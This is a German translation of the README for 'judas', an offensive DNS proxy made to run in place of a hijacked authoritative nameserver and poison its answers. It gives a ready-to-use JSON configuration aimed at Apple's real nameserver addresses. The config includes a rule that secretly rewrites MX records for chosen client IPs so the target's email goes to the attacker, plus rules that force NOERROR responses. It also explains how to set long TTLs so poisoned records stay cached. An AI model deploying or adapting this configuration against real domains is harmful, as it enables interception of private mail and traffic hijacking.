mandatoryprogrammer/judasdnsNameserver-DNS-Poisoning-Angriffe leicht gemacht
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
Nameserver DNS poisoning attacks made easy
Ein DNS-Proxy-Server, der entwickelt wurde, um an Stelle eines übernommenen Nameservers eingesetzt zu werden und gezielte Exploitation durchzuführen. Judas funktioniert, indem es alle DNS-Anfragen an die legitimen Nameserver einer Domain weiterleitet. Die Magie liegt in Judas' Regelkonfigurationen, mit denen Sie DNS-Antworten je nach Quell-IP oder DNS-Abfragetyp ändern können. Dies ermöglicht es einem Angreifer, einen bösartigen Nameserver so zu konfigurieren, dass er Dinge wie eingehende E-Mails aus bestimmten Quell-IP-Bereichen selektiv umleitet (via modifizierte MX-Einträge), extrem lange TTLs setzt, um vergiftete Einträge im Cache zu behalten, und mehr.
Weitere Informationen zur Übernahme von Nameservern und zum Hijacking von DNS finden Sie im folgenden Blogbeitrag: „Respect My Authority – Hijacking Broken Nameservers to Compromise Your Target“.
Das Folgende ist eine Beispielkonfiguration für Judas für ein Beispielszenario, in dem ein Angreifer einen der autoritativen Nameserver von Apple (für apple.com) kompromittiert/übernommen hat:
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
Die Zwecke der obigen Konfigurationswerte sind folgende:
version: Das Format der Konfigurationsdatei (momentan immer 1.0.0).port: Der Port, auf dem Judas laufen soll.dns_query_timeout: Wie lange (in Millisekunden) gewartet werden soll, bevor eine Antwort vom vorgelagerten Ziel-Nameserver aufgegeben wird.target_nameservers: Die legitimen Nameserver für Ihre Ziel-Domain. Alle DNS-Anfragen werden von Judas im Namen aller anfragenden Clients an diese gesendet.rules: Eine Liste von Regeln mit Änderungen an der DNS-Antwort, die angewendet werden, wenn sie zutreffen.
name: Name einer bestimmten Regel.query_type_matches: Liste der Abfragetypen, auf die geprüft werden soll, z. B. CNAME, A usw. Es kann auch ein Platzhalter (*) angegeben werden, um jeden Abfragetyp zu treffen.ip_range_matches: Liste der IP-Bereiche, auf die geprüft werden soll. Dient zum selektiven Spoofing von Antworten an einen bestimmten IP-Bereich.Judas' Regeln enthalten eine modifications-Spezifikation, die auf eine Liste verschiedener Änderungen gesetzt wird, die an der DNS-Antwort vorgenommen werden, bevor sie an den Client zurückgesendet wird. Es ist wichtig, dass Sie die node-dns-Dokumentation lesen, um die DNS-Antwortstruktur zu verstehen, damit Sie sie ändern können.
Ein Beispiel für ein DNS-Antwortformat ist das Folgende:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...trimmed for brevity...
(Weitere Informationen zur DNS-Antwortdatenstruktur finden Sie in dieser Dokumentation.)
Das Schreiben einer Änderung ist sehr einfach. Eine Beispielregel mit Änderung ist unten zu sehen:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Die obige Regel trifft auf jeden Abfragetyp zu (aufgrund des Platzhalters (*)) und setzt den Wert von header.rcode der DNS-Antwort auf 0. Jedes Objekt, das als Änderungselement gesetzt ist, wird in die DNS-Antwort eingefügt – wobei der ursprünglich gesetzte Wert ersetzt wird.
Ein weiteres Beispiel ist das Folgende:
{
"name": "Secretly redirect all emails coming from 127.0.0.1!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
Die obige Regel trifft auf jede MX-Abfrage von 127.0.0.1 zu. Die DNS-Antwort-answer wird mit einem einzelnen MX-Eintrag für hacktheplace.localhost überschrieben. Eine reale Implementierung hiervon wäre, eingehende E-Mails von einer bestimmten IP umzuleiten, um private E-Mails des Ziels zu lesen. Zusätzlich könnte ein Angreifer in einem realen Szenario auch die TTL der Antwort auf einen sehr hohen Wert ändern, um die bösartigen Einträge so lange wie möglich in den DNS-Caches der Clients zu halten.
Die folgende Regel trifft auf die IP-Adresse eines Clients zu:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Das Feld ip_range_matches wird auf ein Array von IP-Bereichen gesetzt, die die Zielbereiche angeben, auf die die Antwortänderung angewendet werden soll. Das Weglassen dieses Feldes entspricht einem Platzhalter und trifft auf alle Client-IP-Adressen zu.
Die folgende Regel trifft auf einen Abfragetyp von MX und CNAME zu und wendet eine entsprechende Antwortänderung an:
{
"name": "Make all responses NOERROR even if they've failed.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Das Feld query_type_matches wird auf ein Array von Abfragetypen gesetzt, die abgeglichen werden sollen. Das Weglassen dieses Feldes entspricht einem Platzhalter und trifft auf alle Abfragetypen zu.
Die folgende Regel trifft auf einen Antwortcode von NXDOMAIN zu und wendet eine entsprechende Antwortänderung an:
{
"name": "Make all responses requested from localhost (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
Das Feld response_code_matches wird auf ein Array von Antwortcodes gesetzt, die abgeglichen werden sollen. Das Weglassen dieses Feldes entspricht einem Platzhalter und trifft auf alle RCODE-Typen zu.
modifications: Siehe Abschnitt „Modifications“ dieser README.